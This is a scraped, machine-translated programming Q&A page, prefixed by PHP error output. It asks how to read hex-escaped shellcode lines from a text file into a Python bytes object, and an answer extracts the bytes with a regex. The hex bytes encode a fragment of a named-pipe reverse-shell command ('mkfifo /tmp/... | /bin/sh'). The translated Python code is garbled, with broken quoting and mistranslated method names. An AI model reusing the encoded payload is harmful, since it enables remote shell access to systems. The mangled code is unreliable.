Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/280.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
我希望执行文本文件的行,就像它们是python脚本的一部分一样_Python_Python Bytearray - Fatal编程技术网

我希望执行文本文件的行,就像它们是python脚本的一部分一样

我希望执行文本文件的行,就像它们是python脚本的一部分一样,python,python-bytearray,Python,Python Bytearray,我有一个包含外壳代码的文本文件,如下所示: buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x73" buf += b"\x35\x35\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x73\x61\x6b" buf += b"\x6e\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e" 我想使用automatically读取这个外壳代码,并将它属性化为pyth

我有一个包含外壳代码的文本文件,如下所示:

buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x73"
buf += b"\x35\x35\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x73\x61\x6b"
buf += b"\x6e\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e" 
我想使用automatically读取这个外壳代码,并将它属性化为python脚本中的一个变量来使用它。 我写了一个这样的剧本

myfile=open(“shellcode.txt”、“rt”)
a=myfile.read()
myfile.close()
a=a.replace('buf+=b','')
a=a.replace('buf=b'','')
a=a.替换(“,”)
a=a.替换(“”,“”)
a=a.replace('\n','')
buf=“”
buf=str.encode(a)
要读取文件的内容,请去掉不需要的字符,只保留需要的原始外壳代码,并将其转换为字节

我还尝试使用bytes、bytearray、
buf+=b“%s”%
(a)

因此,每当我打印buf时,它都会按原样输出外壳代码,但当我复制shellcode.txt的内容并将其粘贴到python脚本并打印(buf)时,它会打印外壳代码的解码版本


因此,如果此方法不起作用,我是否可以读取文件并执行其中的每一行,就好像它是脚本的一部分一样?

下面是一个使用正则表达式提取字节值的建议。是一个非常好的地方,可以使用正则表达式并调试它们

重新导入
BYTE_REGEX=r“\\x([\w|\d]{2})”#从字符串中提取字节,不带前导“\x”`
#regex101.com是分析regex模式的非常好的参考
#检索文本
以open('shellcode.txt','r')作为f:
文件\u text=f.read()
buf_列表=[]
对于re.findall中的字节(字节\正则表达式,文件\文本):
#扫描字符串并逐个处理所有字节
buf_list.append(int(字节,基=16))
结果=字节数组(buf_列表)
打印(结果)
#mkfifo/tmp/s55 0
还有一些机制可以执行以文本形式给出的python代码,请参阅